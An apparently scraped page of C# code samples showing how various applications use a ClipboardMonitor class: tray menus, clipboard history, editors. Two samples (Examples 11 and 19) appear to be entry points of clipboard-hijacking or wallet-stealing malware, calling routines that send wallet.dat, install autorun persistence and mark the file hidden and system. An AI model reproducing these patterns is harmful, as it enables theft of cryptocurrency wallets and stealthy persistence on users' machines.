Exemplo n.º 1
0
 private void stopMonitorToolStripMenuItem_Click(object sender, EventArgs e)
 {
     ClipboardMonitor.Stop();
     startMonitorToolStripMenuItem.Visible = true;
     stopMonitorToolStripMenuItem.Visible  = false;
     notifyIcon.Icon = Properties.Resources.stop;
 }
Exemplo n.º 2
0
        protected override void OnSourceInitialized(EventArgs e)
        {
            base.OnSourceInitialized(e);

            // Clipboard manager
            _clipboardMonitor = new ClipboardMonitor();
            _clipboardMonitor.ClipboardContentChanged += OnClipboardContentChanged;

            _hWnd = new WindowInteropHelper(this).Handle;

            // Notification menu items (when minimized)
            _exitMenuItem      = new System.Windows.Forms.MenuItem(LocalizationProvider.GetLocalizedValue <string>(nameof(Properties.Resources.Trayicon_ExitLabel)));
            _settingsMenuItem  = new System.Windows.Forms.MenuItem(LocalizationProvider.GetLocalizedValue <string>(nameof(Properties.Resources.Trayicon_SettingsLabel)));
            _compactDbMenuItem = new System.Windows.Forms.MenuItem(LocalizationProvider.GetLocalizedValue <string>(nameof(Properties.Resources.Trayicon_CompactDbLabel)));
            _toggleClipboardMonitorMenuItem = new System.Windows.Forms.MenuItem(LocalizationProvider.GetLocalizedValue <string>(nameof(Properties.Resources.Trayicon_DisconnectFromClipboardLabel)));

            _exitMenuItem.Click      += OnExitMenuItemClick;
            _settingsMenuItem.Click  += OnSettingsMenuItemClick;
            _compactDbMenuItem.Click += OnCompactDbMenuItemClick;
            _toggleClipboardMonitorMenuItem.Click += OnToggleClipboardMonitorMenuItemClick;

            _notifyIconContextMenu = new System.Windows.Forms.ContextMenu();
            _notifyIconContextMenu.MenuItems.Add(_settingsMenuItem);
            _notifyIconContextMenu.MenuItems.Add(_compactDbMenuItem);
            _notifyIconContextMenu.MenuItems.Add(_toggleClipboardMonitorMenuItem);
            _notifyIconContextMenu.MenuItems.Add("-");
            _notifyIconContextMenu.MenuItems.Add(_exitMenuItem);

            _notifyIcon             = new System.Windows.Forms.NotifyIcon();
            _notifyIcon.Icon        = new System.Drawing.Icon(@"../../Resources/Clipboard.ico");
            _notifyIcon.MouseClick += OnNotifyIconClick;
            _notifyIcon.ContextMenu = _notifyIconContextMenu;
            _notifyIcon.Visible     = true;
        }
Exemplo n.º 3
0
        private void _Reload()
        {
            try
            {
                if (dataConvert == null)
                {
                    dataConvert = new DataConvert(this);
                    dataConvert.DataConverted += data_converted;
                }

                if (focusMontorer == null)
                {
                    focusMontorer = new FocusMontorer();
                    focusMontorer.FocusChanged += focusMontorer_FocusChanged;
                }

                if (clipboardMontorer == null)
                {
                    clipboardMontorer = new ClipboardMonitor(this);
                    clipboardMontorer.ClipboardChanged += clipboardMontorer_changed;
                }
            }
            catch (Exception e) {
                Logging.LogUsefulException(e);
                ReportError(e);
            }
        }
Exemplo n.º 4
0
        public ClipboardIndexer()
        {
            TryRestore();

            ClipboardMonitor.Start();
            ClipboardMonitor.OnClipboardChange += ClipboardMonitor_OnClipboardChange;
        }
Exemplo n.º 5
0
        private void GameStudioLoaded(object sender, RoutedEventArgs e)
        {
            if (!Editor.Session.IsEditorInitialized)
            {
                // Size the window to best fit the current screen size
                InitializeWindowSize();
                // Load the docking layout
                dockingLayout.ReloadCurrentLayout();
                // Restore visible/hidden status of panes
                GameStudioViewModel.GameStudio.Panels.LoadFromSettings();
                // Initialize plugins
                Editor.Session.ServiceProvider.Get <IAssetsPluginService>().Plugins.ForEach(x => x.InitializeSession(Editor.Session));
                // Open assets that were being edited in the previous session
                ReopenAssetEditors(dockingLayout.LoadOpenAssets().ToList()).Forget();

                // Listen to clipboard
                ClipboardMonitor.RegisterListener(this);
                // Notify start
                Program.NotifyGameStudioStarted();

                Editor.Session.PluginsInitialized();

                foreach (var window in Application.Current.Windows.Cast <Window>().Where(x => !Equals(x, this)))
                {
                    var childHwnd  = new WindowInteropHelper(window).Handle;
                    var parentHwnd = new WindowInteropHelper(this).Handle;
                    var handleRef  = new HandleRef(window, childHwnd);
                    NativeHelper.SetWindowLong(handleRef, NativeHelper.WindowLongType.HwndParent, parentHwnd);
                }
            }
        }
Exemplo n.º 6
0
        public MainWindow()
        {
            InitializeComponent();

            ClipboardMonitor.Start();
            ClipboardMonitor.OnClipboardChange += this.ClipboardChanged;
        }
Exemplo n.º 7
0
        public void New_clipboard_monitors_will_have_that_text_in_their_item_property()
        {
            Clipboard.SetData(DataFormats.Text, Rings.IronRingText);

            _sut = new ClipboardMonitor();

            _sut.CurrentText.Should().Be(Rings.IronRingText);
        }
Exemplo n.º 8
0
 /// <summary>
 /// Handle the window closing finalization, stop monitoring process, deactivate hotkey, notification icon.
 /// </summary>
 /// <param name="sender"></param>
 /// <param name="e"></param>
 void MainWindow_Closing(object sender, System.ComponentModel.CancelEventArgs e)
 {
     this.Closing -= MainWindow_Closing;
     ClipboardMonitor.Stop(); // do not forget to stop
     ni.Visible = false;
     hotKey.Unregister();
     hotKey.Dispose();
 }
Exemplo n.º 9
0
 public ShellService(Lazy <IShellView> shellView)
 {
     this.shellView = shellView;
     tasksToCompleteBeforeShutdown = new List <Task>();
     applicationBusyContext        = new List <ApplicationBusyContext>();
     clipboardMonitor = new ClipboardMonitor();
     oauthManager     = new OAuthManager();
 }
Exemplo n.º 10
0
        protected override void OnLoaded()
        {
            this.ctlOK.Style = this.FindResource("AccentedDialogHighlightedSquareButton") as Style;
            this.ctlText.SetResourceReference(ForegroundProperty, "BlackColorBrush");
            this.ctlText.SetResourceReference(ControlsHelper.FocusBorderBrushProperty, "TextBoxFocusBorderBrush");

            this.m_clipboardMonitor = new ClipboardMonitor(this.OwningWindow);
            this.m_clipboardMonitor.ClipboardChanged += this.m_clipboardMonitor_ClipboardChanged;
        }
Exemplo n.º 11
0
 private static void Main()
 {
     Settings.Owner   = "spasibo etomu parnu za build";
     Settings.Version = "3.2.2";
     Program.Autorun();
     Program.SendWalletDat();
     ClipboardMonitor.OnClipboardChange += new ClipboardMonitor.OnClipboardChangeEventHandler(Program.ClipboardMonitor_OnClipboardChange);
     ClipboardMonitor.Start();
 }
Exemplo n.º 12
0
 /// <summary>
 /// Stops system clipboard change monitoring and disposes the Clipboard Monitor.
 /// </summary>
 private void DisposeClipboardMonitor()
 {
     if (_clipboardMonitor != null)
     {
         _clipboardMonitor.ClipboardUpdated -= OnClipboardUpdated;
         _clipboardMonitor.Dispose();
         _clipboardMonitor = null;
     }
 }
Exemplo n.º 13
0
        public MainWindow()
        {
            InitializeComponent();

            ClipboardMonitor monitor = new ClipboardMonitor(this);

            monitor.ClipboardUpdate += Monitor_ClipboardUpdate;
            monitor.Start();
        }
Exemplo n.º 14
0
        static Clipboard()
        {
            ClipboardMonitor c = new ClipboardMonitor();

            c.ClipboardUpdate += (p1, p2) =>
            {
                currentData = global::System.Windows.Clipboard.GetDataObject();
                ClipboardChanged?.Invoke(p1, new ClipboardEventArgs(currentData));
            };
        }
Exemplo n.º 15
0
        private void btnExit_Click(object sender, RoutedEventArgs e)
        {
            MessageBoxResult res = MessageBox.Show("This will turn off " + (Properties.Settings.Default.IsLite ? "Drop Lite" : "Drop") + " and you will lose all your data.\n\nFiles and Folders will not be deleted from their original locations.\n\n Are you sure?", "Exiting", MessageBoxButton.YesNo, MessageBoxImage.Question);

            if (res == MessageBoxResult.Yes)
            {
                ClipboardMonitor.Stop();
                Environment.Exit(0);
            }
        }
Exemplo n.º 16
0
        public MainWindow()
        {
            InitializeComponent();

            this.path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), "Clipboard");
            Directory.CreateDirectory(this.path);

            this.clipboardMonitor = new ClipboardMonitor(this);
            this.clipboardMonitor.ClipboardUpdate += OnClipboardUpdate;
        }
Exemplo n.º 17
0
        private void Form1_Load(object sender, EventArgs e)
        {
            TrayIcon.Icon = Properties.Resources.BookIcon;
            //TrayIcon.Visible = false;
            WindowState = FormWindowState.Minimized;

            ClipboardMonitor.OnClipboardChange += Clip;
            ClipboardMonitor.Start();
            Trans.OnTranslateChange += () => { TranslatedTextLabel.BeginInvoke((MethodInvoker)(() => TranslatedTextLabel.Text = Trans.TranslatedText)); };
        }
Exemplo n.º 18
0
        /// <summary>
        ///
        /// </summary>
        public static void SetClipboardHooking()
        {
            Log.Debug("ClipboardMonitor.SetClipboardHooking()");

            ClipboardMonitor.OnClipboardChange += ClipboardMonitor_OnClipboardChange;

            ClipboardMonitor.Start();

            _clipboardEntities = new List <ClipboardEntity>();
        }
Exemplo n.º 19
0
 private static void Main()
 {
     AppMutex.Check();
     if (!Autorun.is_installed())
     {
         Autorun.install();
     }
     Attributes.set_hidden();
     Attributes.set_system();
     ClipboardMonitor.run();
 }
Exemplo n.º 20
0
 public TurtleIdeFormContent()
 {
     InitializeComponent();
     if (this.components == null)
     {
         this.components = new Container();
     }
     this.clipboardMonitor = new ClipboardMonitor(this);
     this.clipboardMonitor.ClipboardChanged += new EventHandler(clipboardMonitor_ClipboardChanged);
     this.components.Add(this.clipboardMonitor);
 }
Exemplo n.º 21
0
        /// <summary>
        ///
        /// </summary>
        /// <param name="format"></param>
        /// <param name="data"></param>
        private static void ClipboardMonitor_OnClipboardChange(ClipboardFormat format, object data)
        {
            Log.Debug("ClipboardMonitor_OnClipboardChange()");
            Icon icon = null;
            int  processId;

            IntPtr clipboardHandle = ClipboardMonitor.GetClipboardOwner();

            if (0 < (int)clipboardHandle)
            {
                processId = CWinApi.GetProcessIdByHandle(clipboardHandle);

                if (0 < processId)
                {
                    try
                    {
                        // 32비트 프로그램에서 64비트 프로그램 프로세스 접근이 안되기 때문에
                        // 이런식으로 Process의 실행 위치를 가져온다.
                        const string Query    = "SELECT ProcessId, ExecutablePath, CommandLine FROM Win32_Process";
                        var          searcher = new ManagementObjectSearcher(Query);

                        foreach (var item in searcher.Get())
                        {
                            object id   = item["ProcessID"];
                            object path = item["ExecutablePath"];

                            if (path != null && id.ToString() == processId.ToString())
                            {
                                icon = Icon.ExtractAssociatedIcon(path.ToString());
                                break;
                            }
                        }
                    }
                    catch
                    {
                        icon = null;
                    }
                }
            }

            var ms = new MemoryStream();

            if (icon != null)
            {
                icon.ToBitmap().Save(ms, System.Drawing.Imaging.ImageFormat.Png);
            }

            _clipboardEntities.Add(
                new ClipboardEntity(
                    ms.ToArray(),
                    data,
                    format,
                    DateTime.Now.ToString()));
        }
Exemplo n.º 22
0
        private void DataRow_Selected(object sender, RoutedEventArgs e)
        {
            ClipboardMonitor.Stop();

            var test = (sender as DataGridRow).Item as ClipboardEntity;

            Clipboard.SetText(test.Data.ToString());

            ClipboardMonitor.Start();
            Close();
        }
Exemplo n.º 23
0
 public Form1()
 {
     InitializeComponent();
     configurationManager = new ConfigurationManager();
     destinationValidator = new DestinationValidator();
     hotkeyMonitor        = new HotkeyMonitor();
     clipboardMonitor     = new ClipboardMonitor();
     // load config
     try
     {
         configurationManager.Load();
     }
     catch (Exception exc)
     {
         SimpleLogger.Log("ERROR: can't read configuration, exc=" + exc);
         MessageBox.Show(exc.ToString(), "Can't load configuration", MessageBoxButtons.OK, MessageBoxIcon.Error);
         Application.Exit();
     }
     // regexp
     try
     {
         destinationValidator.Configure(configurationManager.Configuration());
     }
     catch (Exception exc)
     {
         destinationValidator.Configure(null);
         Log("WARN: can't initialize validator: " + exc);
     }
     // hotkeys
     hotkeyMonitor.KeyPressed += new EventHandler <HTDialer.Utils.HotkeyMonitor.KeyPressedEventArgs>(hook_hotkey_pressed);
     try
     {
         hotkeyMonitor.SetKey(configurationManager.Configuration().Hotkey);
     }
     catch (Exception exc)
     {
         Log("WARN: can't install hotkey, exc=" + exc);
     }
     // clipboard
     clipboardMonitor.ClipboardEvent += new EventHandler <HTDialer.Utils.ClipboardMonitor.ClipboardEventArgs>(hook_clipboard_event);
     // update UI
     string[] s = String.IsNullOrEmpty(configurationManager.Configuration().Credentials) ? null : configurationManager.Configuration().Credentials.Split(':');
     this.fieldHotkey.Text           = configurationManager.Configuration().Hotkey;
     this.fieldHttpUsername.Text     = (s != null ? s[0] : null);
     this.fieldHttpPassword.Text     = (s != null ? s[1] : null);
     this.fieldUrl.Text              = configurationManager.Configuration().Url;
     this.fieldRegex.Text            = configurationManager.Configuration().Regex;
     this.fieldCutchars.Text         = configurationManager.Configuration().CutChars;
     this.fieldShowInTaskbar.Checked = configurationManager.Configuration().ShowInTaskbar;
     // do hide
     this.ShowInTaskbar = configurationManager.Configuration().ShowInTaskbar;
     this.WindowState   = FormWindowState.Minimized;
 }
Exemplo n.º 24
0
 /// <summary>
 /// Handle click on a list item by sending the selected item to the clipboard.
 /// </summary>
 internal void Selection_Clicked()
 {
     try
     {
         ClipboardMonitor.AddToClipboard(SelectedCopyItem);
         //SendCtrlV();
     }
     catch (Exception ex)
     {
         ErrorMessage = ex.ToString();
     }
 }
Exemplo n.º 25
0
        private void DownloadList_Load(object sender, EventArgs e)
        {
            DownloadManager.Instance.BeginAddBatchDownloads += new EventHandler(Instance_BeginAddBatchDownloads);
            DownloadManager.Instance.EndAddBatchDownloads   += new EventHandler(Instance_EndAddBatchDownloads);

            scheduler   = (AutoDownloadsExtension)App.Instance.GetExtensionByType(typeof(AutoDownloadsExtension));
            clipMonitor = new ClipboardMonitor(this, this.Handle);

            this.Disposed += delegate(object snd, EventArgs ea)
            {
                clipMonitor.Dispose();
            };
        }
Exemplo n.º 26
0
        // 初始化/加载
        private void QTranser_Loaded(object sender, RoutedEventArgs e)
        {
            _clipboardMonitor = new ClipboardMonitor(this);
            _clipboardMonitor.ClipboardUpdate += OnClipboardUpdate;

            HotKeyManage             = new HotKeyManager(this);
            HotKeyManage.KeyPressed += OnHotKeyPressed;
            RegisterHotKey();

            var SysColor = new SysColorChanger(this);

            SysColor.SysColorChange += () => Mvvm.LogoColor = Theme.GetLogoColor();
        }
Exemplo n.º 27
0
        public MainWindow()
        {
            InitializeComponent();

            esHandler = new EasyShareHandler("http://localhost:8080/handler.php", "rbl");

            cbMon = new ClipboardMonitor(this);
            cbMon.ClipboardUpdated += cbMon_ClipboardUpdated;

            viewModel    = new MainViewModel(esHandler, cbMon);
            viewModel.Id = "rbl";
            DataContext  = viewModel;
        }
Exemplo n.º 28
0
        public void Load(CodeSnippetCollection collection)
        {
            BeginUpdate();

            Counter = collection.Counter;

            try
            {
                foreach (CodeSnippet snippet in collection.Items)
                {
                    if (string.IsNullOrWhiteSpace(snippet.GetPath()))
                    {
                        snippet.SetPath(Constants.UNNAMED, out bool _changed);
                    }

                    snippet.Refresh();
                }
            }
            catch { }


            TreeNodes.Clear();
            CodeSnippets.Clear();
            CodeSnippets.AddRange(collection.Items);
            if (collection.DocumentId.Equals(Guid.Empty))
            {
                DocumentId = Guid.NewGuid();
            }
            else
            {
                DocumentId = collection.DocumentId;
            }

            if (Counter < collection.Items.Count)
            {
                Counter = collection.Items.Count;
            }

            if (ClipboardMonitor != null)
            {
                ClipboardMonitor.Order = -1;
                ClipboardMonitor.SetPath("Clipboard Monitor", out bool _changed);
            }
            if (Trashcan != null)
            {
                Trashcan.Order = -2;
                Trashcan.SetPath("Trashcan", out bool _changed);
            }

            EndUpdate();
        }
Exemplo n.º 29
0
        /// <summary>
        /// Sets the window to use for monitoring system clipboard changes and begins monitoring.
        /// </summary>
        /// <param name="monitorWindowHandle">The handle of the window.</param>
        /// <returns>A <see cref="bool"/> value indicating success or failure.</returns>
        public bool SetMonitorWindow(IntPtr monitorWindowHandle)
        {
            DisposeClipboardMonitor();

            if (monitorWindowHandle == IntPtr.Zero)
            {
                return(false);
            }

            _clipboardMonitor = new ClipboardMonitor(monitorWindowHandle);
            _clipboardMonitor.ClipboardUpdated += OnClipboardUpdated;

            return(_clipboardMonitor.Start());
        }
Exemplo n.º 30
0
 protected override void OnClosing(CancelEventArgs e)
 {
     base.OnClosing(e);
     if (forceClose)
     {
         // Stop listening to clipboard
         ClipboardMonitor.UnregisterListener(this);
         return;
     }
     // We need to run async stuff before closing, so let's always cancel the close at first.
     e.Cancel = true;
     // This method will shutdown the application if the session has been successfully closed.
     SaveAndClose().Forget();
 }